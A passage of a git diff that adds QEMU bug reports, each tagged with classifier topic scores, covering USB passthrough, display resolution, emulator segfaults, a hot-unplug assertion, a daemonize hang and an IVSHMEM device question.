ther eis some work as there is a service and an xdg autostart, but for a try you can brute-force things via +$ sudo dpkg -P --force-all spice-vdagent +# Restart the guest +For me then even the fight over the mouse pointer was gone. If that is important for you there might be more options (e.g. disable the channel, mask the service, use other Display types, ...). But let us only go that way if you confirmed with the above that this helps. +Also since your original problem is on MacOS - and https://www.spice-space.org/osx-client.html indicates that fighting with the spice-pointer isn't your problem there. + + +TL;DR: Not a single time I had to reset my VM to get the mouse working. + +Let me know if you'd want any config files to compare. + +Thanks for the details! I thought we may be on to something, but not quite. I saw a couple deltas in your config (vs. mine), +1) No OVMF_VARS - tried removing this, no difference. +2) You are checking the mouse in the OS - checked that as well (not just UEFI / Ubuntu Grub menu), nope, it's still not there. I can't log in, no keyboard or mouse ... but I think yours is up for the login screen, right? + +FYI, you note about GPU Passthrough - not sure I'm following you 100%, but I do have a second GPU in the machine, and I enable it for GPU Passthrough. It works fine (actually, very nicely!). Not sure why this matters though? + +No issue here sharing config details - is there something in particular that would help? + +Thanks! + +On Thu, Dec 10, 2020 at 1:41 PM Russell Morris +<email address hidden> wrote: +> +> Thanks for the details! I thought we may be on to something, but not quite. I saw a couple deltas in your config (vs. mine), +> 1) No OVMF_VARS - tried removing this, no difference. + +If not specified an empty template will be used - so that was not +making a difference + +> 2) You are checking the mouse in the OS - checked that as well (not just UEFI / Ubuntu Grub menu), nope, it's still not there. I can't log in, no keyboard or mouse ... but I think yours is up for the login screen, right? + +TBH - I never had/tried/used "mouse" in grub or UEFI, I'm just a +keyboard guy I guess. +If you tell me how to initialize a mouse there I can try :-) + +> FYI, you note about GPU Passthrough - not sure I'm following you 100%, +> but I do have a second GPU in the machine, and I enable it for GPU +> Passthrough. It works fine (actually, very nicely!). Not sure why this +> matters though? + +It only matters if you have your mouse working, but then issues with +the multitude of mouse-inputs. +E.g. one from the Host via Desktop-integration that comes through +spice - and another one via the USB Passthrough. +Due to that if you use GPU passthrough (and no other virtual display) +the channel through spice won't exists and therefore no conflicting +inputs will happen. + + +> If you tell me how to initialize a mouse there I can try :-) + +Sorry, bad wording on my part. The USB device I am connecting is a Logitech Nano Receiver ... keyboard and mouse both connected to it. So at the UEFI / Grub stage - only the keyboard, as you correctly point out :-). + +> It only matters if you have your mouse working, but then issues with +> the multitude of mouse-inputs. + +Not 100% sure I follow you :-). But I do have "two" mice connected - one on the guest (USB Passthrough), the other to virt-manager ... which is running over X-Windows from the host to an X-Server. Not sure that makes any difference, but just in case! + +> Due to that if you use GPU passthrough (and no other virtual display) +> the channel through spice won't exists and therefore no conflicting +> inputs will happen. + +I can disable spice if you want, go only USB Passthrough. Just let me know. I have done that before, can try it (for this particular issue). + + +BTW, another thought. The VM is defined as Q35 - in fact, a few items below, just in case they could be part of this, + <type arch="x86_64" machine="pc-q35-5.2">hvm</type> + <qemu:arg value="-cpu"/> + <qemu:arg value="Penryn,kvm=on,vendor=GenuineIntel,+invtsc,vmware-cpuid-freq=on,+pcid,+ssse3,+sse4.2,+popcnt,+avx,+aes,+xsave,+xsaveopt,check"/> + <qemu:arg value="-smbios"/> + <qemu:arg value="type=2"/> + +Thanks! + +OK, I got to thinking about this other bug I had seen a while back. Initially thought it was not related, but maybe it is after all? +https://bugs.launchpad.net/qemu/+bug/1694808 + +Perhaps we are using different USB controllers, and that's why we see different results? I have the following ... match to your setup? + <controller type="usb" index="0" model="ich9-ehci1"> + <address type="pci" domain="0x0000" bus="0x00" slot="0x1d" function="0x7"/> + </controller> + <controller type="usb" index="0" model="ich9-uhci1"> + <master startport="0"/> + <address type="pci" domain="0x0000" bus="0x00" slot="0x1d" function="0x0" multifunction="on"/> + </controller> + <controller type="usb" index="0" model="ich9-uhci2"> + <master startport="2"/> + <address type="pci" domain="0x0000" bus="0x00" slot="0x1d" function="0x1"/> + </controller> + <controller type="usb" index="0" model="ich9-uhci3"> + <master startport="4"/> + <address type="pci" domain="0x0000" bus="0x00" slot="0x1d" function="0x2"/> + </controller> + +And my USB device, + <hostdev mode="subsystem" type="usb" managed="yes"> + <source> + <vendor id="0x046d"/> + <product id="0xc52b"/> + </source> + <address type="usb" bus="0" port="3"/> + </hostdev> + +So the USB device is on ich9-uhci2, correct? + +Thanks! + +OK, tried other USB controllers (piix4, vt82c686b), same issue - this is really odd! + +Thought I'd update to the latest / official v5.2.0 qemu, but now I get this when trying to run it. Huh?!?! +error: internal error: Failed to start QEMU binary /usr/local/bin/qemu-system-x86_64 for probing: libvirt: error : cannot execute binary /usr/local/bin/qemu-system-x86_64: Permission denied + +No changes to my apparmor file - checked :-). + +Thanks! + +OK, sort of figured it out :-). Seems I need to also modify /etc/apparmor.d/usr.sbin.libvirtd. Let me dig into that one separately ... LOL. + +On the USB front, thinking a basic configuration file should be sufficient for debugging - no drives needed, etc. Do you happen to have one (or a partial) that you can share - so I can try the setup you have? + +Thanks! + +The following should get you the same test environment I used. + +$ qemu-img create /var/lib/libvirt/images/ubuntu20.04-UEFI.qcow2 25 +# feel free to use a closer mirror +$ wget http://ftp.uni-kl.de/pub/linux/ubuntu.iso/20.04.1/ubuntu-20.04.1-desktop-amd64.iso +$ mv ubuntu-20.04.1-desktop-amd64.iso /var/lib/libvirt/images/ubuntu-20.04.1-desktop-amd64.iso + +The guest xml is then configured to boot from the ISO (for testing in the "try Ubuntu" environment. + +<domain type='kvm'> + <name>ubuntu20.04-UEFI</name> + <uuid>b43803cc-c46f-43ec-8801-cbe805f24770</uuid> + <metadata> + <libosinfo:libosinfo xmlns:libosinfo="http://libosinfo.org/xmlns/libvirt/domain/1.0"> + <libosinfo:os id="http://ubuntu.com/ubuntu/20.04"/> + </libosinfo:libosinfo> + </metadata> + <memory unit='KiB'>4194304</memory> + <currentMemory unit='KiB'>4194304</currentMemory> + <vcpu placement='static'>2</vcpu> + <os> + <type arch='x86_64' machine='pc-q35-4.2'>hvm</type> + <loader readonly='yes' type='pflash'>/usr/share/OVMF/OVMF_CODE.fd</loader> + <nvram>/var/lib/libvirt/qemu/nvram/ubuntu20.04-UEFI_VARS.fd</nvram> + </os> + <features> + <acpi/> + <apic/> + <vmport state='off'/> + </features> + <cpu mode='host-model' check='partial'/> + <clock offset='utc'> + <timer name='rtc' tickpolicy='catchup'/> + <timer name='pit' tickpolicy='delay'/> + <timer name='hpet' present='no'/> + </clock> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>destroy</on_crash> + <pm> + <suspend-to-mem enabled='no'/> + <suspend-to-disk enabled='no'/> + </pm> + <devices> + <emulator>/usr/bin/qemu-system-x86_64</emulator> + <disk type='file' device='disk'> + <driver name='qemu' type='qcow2'/> + <source file='/var/lib/libvirt/images/ubuntu20.04-UEFI.qcow2'/> + <target dev='vda' bus='virtio'/> + <boot order='1'/> + <address type='pci' domain='0x0000' bus='0x03' slot='0x00' function='0x0'/> + </disk> + <disk type='file' device='cdrom'> + <driver name='qemu' type='raw'/> + <source file='/var/lib/libvirt/images/ubuntu-20.04.1-desktop-amd64.iso'/> + <target dev='sda' bus='sata'/> + <readonly/> + <boot order='2'/> + <address type='drive' controller='0' bus='0' target='0' unit='0'/> + </disk> + <controller type='usb' index='0' model='ich9-ehci1'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x1d' function='0x7'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci1'> + <master startport='0'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x1d' function='0x0' multifunction='on'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci2'> + <master startport='2'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x1d' function='0x1'/> + </controller> + <controller type='usb' index='0' model='ich9-uhci3'> + <master startport='4'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x1d' function='0x2'/> + </controller> + <controller type='sata' index='0'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x1f' function='0x2'/> + </controller> + <controller type='pci' index='0' model='pcie-root'/> + <controller type='pci' index='1' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='1' port='0x10'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0' multifunction='on'/> + </controller> + <controller type='pci' index='2' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='2' port='0x11'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x1'/> + </controller> + <controller type='pci' index='3' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='3' port='0x12'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x2'/> + </controller> + <controller type='pci' index='4' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='4' port='0x13'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x3'/> + </controller> + <controller type='pci' index='5' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='5' port='0x14'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x4'/> + </controller> + <controller type='pci' index='6' model='pcie-root-port'> + <model name='pcie-root-port'/> + <target chassis='6' port='0x15'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x5'/> + </controller> + <controller type='virtio-serial' index='0'> + <address type='pci' domain='0x0000' bus='0x02' slot='0x00' function='0x0'/> + </controller> + <interface type='network'> + <mac address='52:54:00:7b:a9:06'/> + <source network='default'/> + <model type='virtio'/> + <address type='pci' domain='0x0000' bus='0x01' slot='0x00' function='0x0'/> + </interface> + <serial type='pty'> + <target type='isa-serial' port='0'> + <model name='isa-serial'/> + </target> + </serial> + <console type='pty'> + <target type='serial' port='0'/> + </console> + <channel type='unix'> + <target type='virtio' name='org.qemu.guest_agent.0'/> + <address type='virtio-serial' controller='0' bus='0' port='1'/> + </channel> + <channel type='spicevmc'> + <target type='virtio' name='com.redhat.spice.0'/> + <address type='virtio-serial' controller='0' bus='0' port='2'/> + </channel> + <input type='keyboard' bus='ps2'/> + <input type='mouse' bus='ps2'/> + <graphics type='spice' autoport='yes'> + <listen type='address'/> + <image compression='off'/> + </graphics> + <sound model='ich9'> + <address type='pci' domain='0x0000' bus='0x00' slot='0x1b' function='0x0'/> + </sound> + <video> + <model type='qxl' ram='65536' vram='65536' vgamem='16384' heads='1' primary='yes'/> + <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x0'/> + </video> + <hostdev mode='subsystem' type='usb' managed='yes'> + <source> + <vendor id='0x046d'/> + <product id='0xc069'/> + </source> + <address type='usb' bus='0' port='1'/> + </hostdev> + <redirdev bus='usb' type='spicevmc'> + <address type='usb' bus='0' port='3'/> + </redirdev> + <redirdev bus='usb' type='spicevmc'> + <address type='usb' bus='0' port='4'/> + </redirdev> + <memballoon model='virtio'> + <address type='pci' domain='0x0000' bus='0x04' slot='0x00' function='0x0'/> + </memballoon> + <rng model='virtio'> + <backend model='random'>/dev/urandom</backend> + <address type='pci' domain='0x0000' bus='0x05' slot='0x00' function='0x0'/> + </rng> + </devices> +</domain> + +OK, this is going to sound crazy, but ... + +I did exactly like you note above - and the same thing happens. My USB device isn't seen / avaiable on start, but after I reset the VM .. voila! It's there and works. + +OK, wondering what else it could be. I have a USB hub where the device is plugged in - will try removing that (variable) ... nope, that's not it either. Arrgh!?!? + +LOL. This really is very odd. I'm open to any thoughts you have. Thanks! + +BTW, one other interesting thing I just noticed, in lsusb. As this Logitech receiver connects to multiple devices (e.g. keyboard, mouse), I see it "3 times", + +/: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/10p, 480M + |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/4p, 480M + |__ Port 1: Dev 8, If 2, Class=Human Interface Device, Driver=usbhid, 12M + |__ Port 1: Dev 8, If 0, Class=Human Interface Device, Driver=usbhid, 12M + |__ Port 1: Dev 8, If 1, Class=Human Interface Device, Driver=usbhid, 12M + +Could that be part of the fun here? + + + +> LOL. This really is very odd. I'm open to any thoughts you have. Thanks! + +Indeed - it might come down to the actual USB devices/Hubs in play and +their exact type and firmware. +OTOH that might also explain why not everyone ever using it complains +about it being dysfunctional but a few do. + +> Could that be part of the fun here? + +Not uncommon - a single USB device can define multiple "Interfaces" to +support different things at once. +With lsusb -vvv -d <id you got for that dev> you can see what it is - +it can be e.g. a keyboard also registering a mouse for a trackpoint or +such. + +P.S. I'm not an USB expert - I know there are even malicious devices +that e.g. have an USB stick also provide Keyboard/Mouse to hijack a +computer. I'd not expect this to be the case here, but you never know +so I wanted to mention. + + +Yep, checked the devices (thanks!), and I get, +$ lsusb -v -d 046d:c52b | grep bInterfaceProtocol + bInterfaceProtocol 1 Keyboard + bInterfaceProtocol 2 Mouse + bInterfaceProtocol 0 + + +Pretty much as expected. + +Hmm, not sure what else to do - or is it just ... live with it? + +Thanks! + +> Hmm, not sure what else to do - or is it just ... live with it? + +You still have the option to report it upstream and hope that someone +in the wider community has seen it before. +Especially now that we already checked plenty of corner cases and +special conditions your report should be more substantial. + + +Sure, will do. Just to make sure, this mailing list I assume? +https://lists.nongnu.org/mailman/listinfo/qemu-devel + +Thanks! + +FYI, several updates here - for other reasons, but ... BIOS, Linux (Ubuntu), qemu (to master) => now it works on boot. Arrgh! I only say that because I can't duplicate it any more, with all these updates. That's good overall. LOL! + +Thanks! + +Ok, glad to hear that it works now. Were you able to sort out what it was - read this like: "is there anything we need to consider for a fix/backport or are we just happy things work and close it"? + +I really wish I could pinpoint the exact root cause, to be able to feed it back, help others (i.e. fix it once and for all, for everyone :-)). So far though, no luck. I'm still digging, I haven't given up! + +Thanks! + +[Expired for qemu (Ubuntu) because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1906185 b/results/classifier/108/graphic/1906185 new file mode 100644 index 000000000..d86e3b548 --- /dev/null +++ b/results/classifier/108/graphic/1906185 @@ -0,0 +1,79 @@ +graphic: 0.980 +socket: 0.958 +other: 0.956 +device: 0.938 +boot: 0.915 +files: 0.898 +network: 0.882 +permissions: 0.873 +PID: 0.856 +semantic: 0.827 +performance: 0.815 +vnc: 0.714 +debug: 0.650 +KVM: 0.591 + +Guest display resolution cannot be changed when using certain graphics/interface combinations + +Guest display resolution cannot be changed with certain virtual graphics card (-vga) and interface (-display) combinations. + +For example, resolution changing doesn't work with the following QEMU start commands, it resets to the default resolution immediately: + +QXL with SDL interface: +qemu-system-x86_64 -enable-kvm -m 6G -cpu host -smp 3 -cdrom ./linux/kubuntu-20.04-desktop-amd64.iso -boot d -vga qxl -soundhw hda -display sdl + +QXL with GTK interface: +qemu-system-x86_64 -enable-kvm -m 6G -cpu host -smp 3 -cdrom ./linux/kubuntu-20.04-desktop-amd64.iso -boot d -vga qxl -soundhw hda -display gtk + +QXL with "remote" SPICE interface via unix socket: +qemu-system-x86_64 -enable-kvm -m 6G -cpu host -smp 3 -cdrom ./linux/kubuntu-20.04-desktop-amd64.iso -boot d -soundhw hda -vga qxl -device virtio-serial-pci -device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 -chardev spicevmc,id=spicechannel0,name=vdagent -spice unix,addr=/tmp/vm_spice.socket,disable-ticketing + +for "remote" access: +remote-viewer spice+unix:///tmp/vm_spice.socket + + + +Other tested combinations: +-- virtio + SDL (GL on): works! +-- virtio + GTK (GL on): does not work properly. The resolution is changed but window size is not so the guest screen will look like garbage. +-- vmware: The initial Kubuntu setup screen is visible but booting does not progress to the desktop +-- std + GTK: works! +-- std + SDL: works! + + +QEMU version: 5.1.0 +Guest: Kubuntu 20.04 64-bit (live) with 5.4.0-26 kernel; may occur with other guests as well +Host: Arch Linux, with KDE desktop + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1908 b/results/classifier/108/graphic/1908 new file mode 100644 index 000000000..011d6b451 --- /dev/null +++ b/results/classifier/108/graphic/1908 @@ -0,0 +1,64 @@ +graphic: 0.977 +other: 0.975 +debug: 0.970 +semantic: 0.965 +permissions: 0.963 +device: 0.960 +performance: 0.952 +PID: 0.944 +socket: 0.944 +network: 0.937 +boot: 0.935 +files: 0.925 +vnc: 0.909 +KVM: 0.814 + +8.1.0 regression: abnormal segfault in qemu-riscv64-static +Description of problem: +loading_from_clipboard_test of Cockatrice segfaults in qemu-riscv64-static. +Steps to reproduce: +1. Setup an Arch Linux riscv64 qemu-user container: https://github.com/felixonmars/archriscv-packages/wiki/Setup-Arch-Linux-RISC-V-Development-Environment +2. Start the container: `sudo systemd-nspawn -D ./archriscv -a -U` +3. Build cockatrice 2.9.0 with tests in the container: https://github.com/Cockatrice/Cockatrice/releases/tag/2023-09-14-Release-2.9.0 +4. Run tests/loading_from_clipboard/loading_from_clipboard_test in the container +Additional information: +I have done bisection and find out that this commit caused the regression: 2d708164e0475064e0e2167bd73e8570e22df1e0 + +qemu built from HEAD(494a6a2) is still affected by this bug. + +Backtrace: + +``` +#0 0x00007fffe849f133 in code_gen_buffer () +#1 0x00007ffff7b3a433 in cpu_tb_exec (cpu=0x7ffff7f71010, itb=0x7fffe849f040 <code_gen_buffer+4845587>, +tb_exit=0x7fffffffde20) at ../qemu/accel/tcg/cpu-exec.c:457 +#2 0x00007ffff7b3aeac in cpu_loop_exec_tb (cpu=0x7ffff7f71010, tb=0x7fffe849f040 <code_gen_buffer+4845587>, +pc=46912625654024, last_tb=0x7fffffffde30, tb_exit=0x7fffffffde20) at ../qemu/accel/tcg/cpu-exec.c:919 +#3 0x00007ffff7b3b0e0 in cpu_exec_loop (cpu=0x7ffff7f71010, sc=0x7fffffffdeb0) at ../qemu/accel/tcg/cpu-exec.c:1040 +#4 0x00007ffff7b3b19e in cpu_exec_setjmp (cpu=0x7ffff7f71010, sc=0x7fffffffdeb0) +at ../qemu/accel/tcg/cpu-exec.c:1057 +#5 0x00007ffff7b3b225 in cpu_exec (cpu=0x7ffff7f71010) at ../qemu/accel/tcg/cpu-exec.c:1083 +#6 0x00007ffff7a53707 in cpu_loop (env=0x7ffff7f71330) at ../qemu/linux-user/riscv/cpu_loop.c:37 +#7 0x00007ffff7b5d0e0 in main (argc=4, argv=0x7fffffffe768, envp=0x7fffffffe790) at ../qemu/linux-user/main.c:999 +``` + +``` +0x7fffe849f105 <code_gen_buffer+4845784> jl 0x7fffe849f265 <code_gen_buffer+4846136> │ +│ 0x7fffe849f10b <code_gen_buffer+4845790> mov 0x50(%rbp),%rbx │ +│ 0x7fffe849f10f <code_gen_buffer+4845794> mov %rbx,%r12 │ +│ 0x7fffe849f112 <code_gen_buffer+4845797> mov %r12,0x70(%rbp) │ +│ 0x7fffe849f116 <code_gen_buffer+4845801> movabs $0x2aaaaf9bb000,%r13 │ +│ 0x7fffe849f120 <code_gen_buffer+4845811> mov %r13,0x38(%rbp) │ +│ 0x7fffe849f124 <code_gen_buffer+4845815> movq $0xffffffffaf9bb000,0x60(%rbp) │ +│ 0x7fffe849f12c <code_gen_buffer+4845823> mov $0xffffffffaf9bb4e0,%r13 │ +│ > 0x7fffe849f133 <code_gen_buffer+4845830> movzwl 0x0(%r13),%r13d │ +│ 0x7fffe849f138 <code_gen_buffer+4845835> and $0x7f,%ebx │ +│ 0x7fffe849f13b <code_gen_buffer+4845838> shl $0x7,%r13 │ +│ 0x7fffe849f13f <code_gen_buffer+4845842> add %r13,%rbx │ +│ 0x7fffe849f142 <code_gen_buffer+4845845> mov %rbx,0x50(%rbp) │ +│ 0x7fffe849f146 <code_gen_buffer+4845849> shl %rbx │ +│ 0x7fffe849f149 <code_gen_buffer+4845852> mov %rbx,0x38(%rbp) │ +│ 0x7fffe849f14d <code_gen_buffer+4845856> movabs $0x2aaaaf9a88e0,%r13 │ +│ 0x7fffe849f157 <code_gen_buffer+4845866> add %r13,%rbx │ +│ 0x7fffe849f15a <code_gen_buffer+4845869> mov %rbx,0x60(%rbp) +``` diff --git a/results/classifier/108/graphic/1912846 b/results/classifier/108/graphic/1912846 new file mode 100644 index 000000000..9f9c278f8 --- /dev/null +++ b/results/classifier/108/graphic/1912846 @@ -0,0 +1,36 @@ +graphic: 0.967 +device: 0.953 +network: 0.937 +socket: 0.912 +vnc: 0.869 +performance: 0.855 +PID: 0.811 +files: 0.773 +permissions: 0.718 +semantic: 0.700 +debug: 0.657 +boot: 0.564 +KVM: 0.342 +other: 0.316 + +Assertion hit on hot-unplugging virtio iommu enabled device + +From commit ("2d24a646 device-core: use RCU for +list of children of a bus") an assertion is hit when +removing a device, since mr->listeners are not properly +removed. To reproduce: + +/home/qemu/build/x86_64-softmmu/qemu-system-x86_64 -qmp tcp:0:4444,server,nowait ... \ + -netdev tap,id=hostnet0,vhostforce=on,vhost=on \ + -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:14:18:cc,bus=pci.1,addr=0x0,iommu_platform=on,ats=on + +In QMP: +{'execute': 'qmp_capabilities'} +{"execute": "device_del", "arguments": {"id": "net0"} } + +And crash: +../softmmu/memory.c:2818: do_address_space_destroy: Assertion `QTAILQ_EMPTY(&as->listeners)' failed. + +Fixed here: +https://gitlab.com/qemu-project/qemu/-/commit/f6ab64c05f8a6229bf6 + diff --git a/results/classifier/108/graphic/1913 b/results/classifier/108/graphic/1913 new file mode 100644 index 000000000..3b3fc2966 --- /dev/null +++ b/results/classifier/108/graphic/1913 @@ -0,0 +1,34 @@ +graphic: 0.943 +performance: 0.896 +device: 0.876 +debug: 0.730 +socket: 0.677 +other: 0.627 +network: 0.603 +semantic: 0.578 +PID: 0.558 +boot: 0.538 +permissions: 0.526 +files: 0.520 +vnc: 0.493 +KVM: 0.198 + +Regression in 8.1.1: qemu-aarch64-static running ldconfig +Description of problem: +Since updating to 8.1.1, qemu crashes when running ldconfig in my sysroot (It's a more or less default Ubuntu 22.04 arm64 rootfs) +Steps to reproduce: +1. Download the arm64 ubuntu base from https://cdimage.ubuntu.com/ubuntu-base/releases/jammy/release/ +2. Extract it +3. Run `qemu-aarch64-static rootfs/sbin/ldconfig.real -r rootfs` where `rootfs` is where you extracted it with qemu 8.1.1 + +```bash +$ qemu-aarch64-static --version +qemu-aarch64 version 8.1.0 +$ qemu-aarch64-static rootfs/sbin/ldconfig.real -r rootfs +<works> +$ sudo pacman -U /var/cache/pacman/pkg/qemu-user-static*-8.1.1*.zst +$ qemu-aarch64-static --version +qemu-aarch64 version 8.1.1 +$ qemu-aarch64-static rootfs/sbin/ldconfig.real -r rootfs +<segfault> +``` diff --git a/results/classifier/108/graphic/1916343 b/results/classifier/108/graphic/1916343 new file mode 100644 index 000000000..962c9e743 --- /dev/null +++ b/results/classifier/108/graphic/1916343 @@ -0,0 +1,77 @@ +graphic: 0.922 +semantic: 0.918 +other: 0.908 +permissions: 0.879 +performance: 0.860 +device: 0.847 +vnc: 0.822 +PID: 0.821 +debug: 0.803 +socket: 0.782 +files: 0.750 +network: 0.725 +boot: 0.693 +KVM: 0.663 + +-daemonize not working on macOS + +Basically e.g, if I try with below command on macOS: + +qemu-system-x86_64 \ + -m 4G \ + -vga virtio \ + -display default,show-cursor=on \ + -usb \ + -device usb-tablet \ + -machine type=q35,accel=hvf \ + -smp 2 \ + -drive file=ubuntu.qcow2,if=virtio -cpu max \ + -net nic -net user,hostfwd=tcp::50022-:22,hostfwd=tcp::8000-:80 \ + -daemonize + +With this command, the QEMU processes hang there forever. I guess there is a bug when forking a child and kill the parent? Because when this issue occurs, there are actually 2 QEMU processes running + +``` + 501 14952 14951 0 7:08PM ?? 0:00.00 (qemu-system-x86_) + 501 14953 1 0 7:08PM ?? 0:00.03 qemu-system-x86_64 -m 4G -vga virtio -display default,show-cursor=on -usb -device usb-tablet -machine type=q35,accel=hvf -smp 2 -drive file=ubuntu.qcow2,if=virtio -cpu max -net nic -net user,hostfwd=tcp::50022-:22,hostfwd=tcp::8000-:80 -daemonize + 501 14951 14626 0 7:08PM ttys000 0:00.03 qemu-system-x86_64 -m 4G -vga virtio -display default,show-cursor=on -usb -device usb-tablet -machine type=q35,accel=hvf -smp 2 -drive file=ubuntu.qcow2,if=virtio -cpu max -net nic -net user,hostfwd=tcp::50022-:22,hostfwd=tcp::8000-:80 -daemonize +``` + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/313 + + diff --git a/results/classifier/108/graphic/1917394 b/results/classifier/108/graphic/1917394 new file mode 100644 index 000000000..1cd257d0c --- /dev/null +++ b/results/classifier/108/graphic/1917394 @@ -0,0 +1,405 @@ +graphic: 0.947 +semantic: 0.940 +permissions: 0.929 +other: 0.918 +debug: 0.915 +device: 0.907 +performance: 0.883 +PID: 0.874 +boot: 0.872 +vnc: 0.846 +files: 0.838 +network: 0.827 +KVM: 0.813 +socket: 0.811 + +command lspci does not show the IVSHMEM device + +qeum version: +QEMU emulator version 4.2.1 + +I met a problem when I tried to use IVSHMEM. Command lspci does not show the IVSHMEM device. +Below is the configuration from my side: + +1. guest vm xml configuration. + <shmem name='ivshmem'> + <model type='ivshmem-plain'/> + <size unit='M'>2</size> + <address type='pci' domain='0x0000' bus='0x00' slot='0x10' function='0x0'/> + </shmem> + +2. after the booting up and I found the qemu commandline ideedly have the device option: +ps aux | grep ivshmem + /usr/bin/qemu-system-x86_64 + .......(ignore other options) +-object memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 + +3. lspci command not shown the device. + +4. lshw command indeedly show the device: + +*-memory UNCLAIMED + description: RAM memory + product: Inter-VM shared memory + vendor: Red Hat, Inc. + physical id: 10 + bus info: pci@0000:00:10.0 + version: 01 + width: 64 bits + clock: 33MHz (30.3ns) + configuration: latency=0 + resources: memory:fcc1c000-fcc1c0ff memory:fdc00000-fdffffff + +My host and vm os is ubuntu 20.04 and version is: +#49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux + +Hi ChangLimin, + +Thanks for your reply. I checked again to find the device... I thought the +name was ivshmem. +I don't find any driver code for IVSHMEM in the linux and qemu repo. Can +you give me some help? + +00:10.0 RAM memory: Red Hat, Inc. Inter-VM shared memory (rev 01) +Subsystem: Red Hat, Inc. QEMU Virtual Machine +Flags: fast devsel +Memory at fcc1c000 (32-bit, non-prefetchable) [size=256] +Memory at fdc00000 (64-bit, prefetchable) [size=4M] + +Thanks, +Sean + + + + + + +On Tue, Mar 2, 2021 at 3:31 PM ChangLimin <email address hidden> wrote: + +> Can you give the lspci messages? The below is my output. There is a RAM +> memory device. +> +> $ lspci +> 00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev +> 02) +> 00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II] +> 00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton +> II] +> 00:01.2 USB controller: Intel Corporation 82371SB PIIX3 USB [Natoma/Triton +> II] (rev 01) +> 00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03) +> 00:02.0 VGA compatible controller: Device 1234:1111 (rev 02) +> 00:03.0 PCI bridge: Red Hat, Inc. QEMU PCI-PCI bridge +> 00:04.0 Ethernet controller: Red Hat, Inc. Virtio network device +> 00:05.0 SCSI storage controller: Red Hat, Inc. Virtio SCSI +> 00:06.0 Communication controller: Red Hat, Inc. Virtio console +> 00:10.0 RAM memory: Red Hat, Inc. Inter-VM shared memory (rev 01) +> 01:07.0 PCI bridge: Red Hat, Inc. QEMU PCI-PCI bridge +> +> +> *From:* sean kuo <email address hidden> +> *Date:* 2021-03-02 11:24 +> *To:* qemu-devel <email address hidden> +> *Subject:* [Bug 1917394] [NEW] command lspci does not show the IVSHMEM +> device +> Public bug reported: +> +> qeum version: +> QEMU emulator version 4.2.1 +> +> I met a problem when I tried to use IVSHMEM. Command lspci does not show +> the IVSHMEM device. +> Below is the configuration from my side: +> +> 1. guest vm xml configuration. +> <shmem name='ivshmem'> +> <model type='ivshmem-plain'/> +> <size unit='M'>2</size> +> <address type='pci' 